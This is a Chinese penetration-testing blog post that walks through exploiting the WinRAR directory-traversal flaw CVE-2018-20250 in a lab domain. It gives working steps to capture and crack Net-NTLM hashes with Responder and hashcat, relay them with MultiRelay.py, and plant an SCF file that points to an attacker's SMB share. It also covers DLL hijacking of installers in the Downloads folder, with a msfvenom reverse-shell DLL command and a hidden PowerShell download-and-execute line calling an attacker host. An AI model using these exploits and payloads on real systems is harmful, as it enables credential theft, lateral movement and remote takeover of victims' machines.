渗透测试-apt攻击与防御系列-利用WinRAR跨目录获取Net-NTLM Hash和DLL劫持

致敬亮神-2019

利用WinRAR跨目录获取Net-NTLM Hash和DLL劫持

域控:Windows 2008 R2
目标主机:Windows7*2

漏洞利用

  1. 穿透目录释放文件到开机启动菜单
  2. 获取受害者的Net NTLM Hash
  3. 借助下载文件夹安装程序DLL劫持
  4. 投放恶意的 LNK 文件

获取受害者的Net-NTLM Hash

⼯具:responder、hashcat
https://github.com/lgandx/responder/
https://hashcat.net/hashcat/

⼯作组⼯具:https://github.com/WyAtu/CVE-2018-20250
把下⾯的target_filename中的IP地址改成攻击者的就可以了。

# The archive filename you want 
rar_filename = "test.rar" 
# The evil file you want to run 
evil_filename = "WinRAR.dll" 
# The decompression path you want, such shown below 
target_filename = r"C:\\\x.x.x.x\smb\SHFOLDER.dll" 
# Other files to be displayed when the victim opens the winrar 
# filename_list=[] 
filename_list = ["hello.txt", "world.txt"]

查看配置⽂件 /usr/share/responder/Responder.conf ,检查SMB服务是否为On。

使⽤的⽹卡是vboxnet0,需要root权限。通过使⽤参数-I指定⽹卡运⾏

 sudo responder -I vboxnet0 -wrfv --lm

在这里插入图片描述
有主机通过SMB共享访问了我的Arch,并获取到了⽤⼾名和Net NTLM
Hash。

在这里插入图片描述
获取到Net NTLM Hash之后

使⽤HashCat来暴⼒破解

就我的Intel 的破CPU都能跑1277.4 kH/s
不过之前要安装OpenCL的库,如果是⽤显卡跑就更快了。

把最后⼀个Hash复制出来
在这里插入图片描述
查看加密算法模块对应的编号,上⾯看到的是 NTLMv2 ,所以我们使⽤5600

 ~ hashcat --help|grep NTLM 
 5500 | NetNTLMv1 | Network Protocols 
 5500 | NetNTLMv1+ESS | Network Protocols 
 5600 | NetNTLMv2 | Network Protocols 
 1000 | NTLM | Operating Systems

在这里插入图片描述
截图上⾯我标记出来的就是密码了,
只要你的字典够强⼤,我的字典只有⼀万⾏,⼀秒都不⽤就跑完了。
拿到密码就可以登录上去或者执⾏各种命令都是可以的。

域控

如果⽬标是域控就可以使⽤Hash中继来直接登录域内的主机。
还是打开responder的配置⽂件,这次是把HTTP和SMB服务改成Off,
因为等⼀下⽤到另⼀个⼯具的时候要监听445和80端⼝。

⼯具:MultiRelay.py,在responder的tool⽬录下。
最好先切换到responder⽬录下,
因为在获取到Windows的Shell的时候要使⽤MultiRelay⽬录⾥的⼯具。

 ~ cd /usr/share/responder/tools 
 sudo python2 ./MultiRelay.py -t 192.168.56.106 -u ALL

-t后⾯接着是你想攻击主机的IP地址,
-u是⽤⼾名,这⾥选择所有,就是ALL。

再打开⼀个终端,执⾏

~ sudo responder -I vboxnet0 -wrfv --lm

现在只要域控访问了Arch监听的SMB服务,
就可以获取域控的Net NTLM Hash,这样就可以登录域内的主机了,基本是指哪打哪。

在这里插入图片描述
拿到了主机权限,可以读取明⽂密码。
但是这⾥上传到主机 的被⽕绒拦截了。
在这里插入图片描述
在这里插入图片描述

释放SCF⽂件

还有⼀种释放.scf⽂件获取⽬标的Net NTLM Hash的,
释放到磁盘的根⽬录,只要打开我的电脑就会访问攻击 者的SMB服务,
获取Hash⼀把梭。
新建⼀个⽂本后缀改为.scf,把下⾯的内容复制进去,
IP地址改为攻击者的。
添加进压缩包,其实解压到能看到的地⽅都可以触发。

 [Shell] Command=2 
 IconFile=\\x.x.x.x\icon.ico 
 [Taskbar] Command=ToggleDesktop

当然还有desktop.ini、autorun.inf这些可以设置icon图标和设置⽂件夹的背景图⽚的,
也可以使⽤file协议远程 加载攻击者的SMB服务

借助下载⽂件夹安装程序DLL劫持

因为WinRAR这个跨⽂件⽬录释放的漏洞本来就不怎么容易利⽤,
⽽且DLL劫持也需要知道别⼈电脑⾥有什么软件,
还得知道别⼈装的软件哪⾥存在DLL劫持。这真的是难上加难了。所以下⾯的思路仅供脑补,会有很多很多假设。

既然我们不知道⽬标主机上有什么软件,那就要找⼀个⽐较通⽤的DLL,然后发现很多安装包程序就存在很多DLL劫持漏洞,
在测试时发现了阿⾥⼏个客⼾端都存在DLL劫持,
甚⾄连我想安装的⽕绒杀毒软件也存在同样的问题。

那我就推测是不是打包成安装包的⼯具有问题。
下⾯是我测试安装包,存在DLL劫持的,我只是测试了⼏个,这么巧,这⼏个都存在DLL劫持。
旺旺客⼾端的

C:\Windows\system32\CRYPTBASE.dll 
C:\Windows\system32\WindowsCodecs.dll 
C:\Windows\system32\SspiCli.dll 
C:\Windows\system32\dwmapi.dll 
C:\Windows\system32\ntmarta.dll 
C:\Windows\system32\dnsapi.DLL 
C:\Windows\system32\iphlpapi.DLL 
C:\Windows\system32\RASAPI32.dll 
C:\Windows\system32\rtutils.dll 
C:\Windows\system32\sensapi.dll 
C:\Windows\system32\rasadhlp.dll 
C:\Windows\system32\VERSION.dll

千⽜客⼾端的

C:\Windows\system32\CRYPTBASE.dll 
C:\Windows\system32\SHFOLDER.DLL 
C:\Windows\system32\ntmarta.dll 
C:\Windows\system32\dwmapi.dll

钉钉还有⽕绒也差不多和上⾯的⼀样,但是在测试时卡死了N次
在测试了上⾯⼏个安装包后统计出来⼀个特点,
你会发现DLL全部是⼤写字⺟的,⾮常的通⽤,SHFOLDER.DLL
可以⽀持三个安装包的劫持效果。
旺旺的可以使⽤RASAPI32.dll。 释放到下载⽬录的部分代码。

 # The archive filename you want 
 rar_filename = "test.rar" 
 # The evil file you want to run 
 evil_filename = "WinRAR.dll" 
 # The decompression path you want, such shown below 
 target_filename = r"C:\C:C:../Downloads\SHFOLDER.dll" 
 # Other files to be displayed when the victim opens the winrar 
 # filename_list=[] 
 filename_list = ["hello.txt", "world.txt"]

⽽且这些安装包会在⼀个⽐较固定的⽬录,那就是下载⽂件夹。
假设我利⽤WinRAR的跨⽬录释放了⼀个DLL到 了下载⽂件夹这个⽬录,
然后⽤⼾从上⾯这些客⼾端的安装包官⽅⽹站下载的正常⽂件回来,下载完了直接点 击打开运⾏,这样就会加载我释放出来的DLL,达到攻击的⽬的。

下⾯图⽚中是千⽜客⼾端的安装包加载下载⽬录中的DLL后打开了计算器,
在模块列表中看到是加载了攻击者的DLL。

在这里插入图片描述
⼯具:⼀个DLL⽂件。

 msfvenom -p windows/meterpreter/reverse_tcp LPORT=7788 LHOST=192.168.56.1 -a x86 -f dll >WinRAR.dll

MSF⽣成⼀个DLL
有⼀个问题劫持了之后安装包不能正常运⾏,这是DLL的问题,⾃⼰写的应该就不会了。
或者使⽤CobaltStrike⽣成的DLL可以正常安装,
但是要做好进程迁移,因为安装包结束了,⼦进程也会跟着关 闭,这样就控制不了了

投放LNK⽂件

在CobaltStrike⾥使⽤PowerShell远程加载。

 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.56.109:80/a'))"

⼀般弄⼀个常⻅的快捷键什么都会被杀毒软件拦截。

参考

https://github.com/incredibleindishell/Windows-AD-environment-related/tree/master/Responder
https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值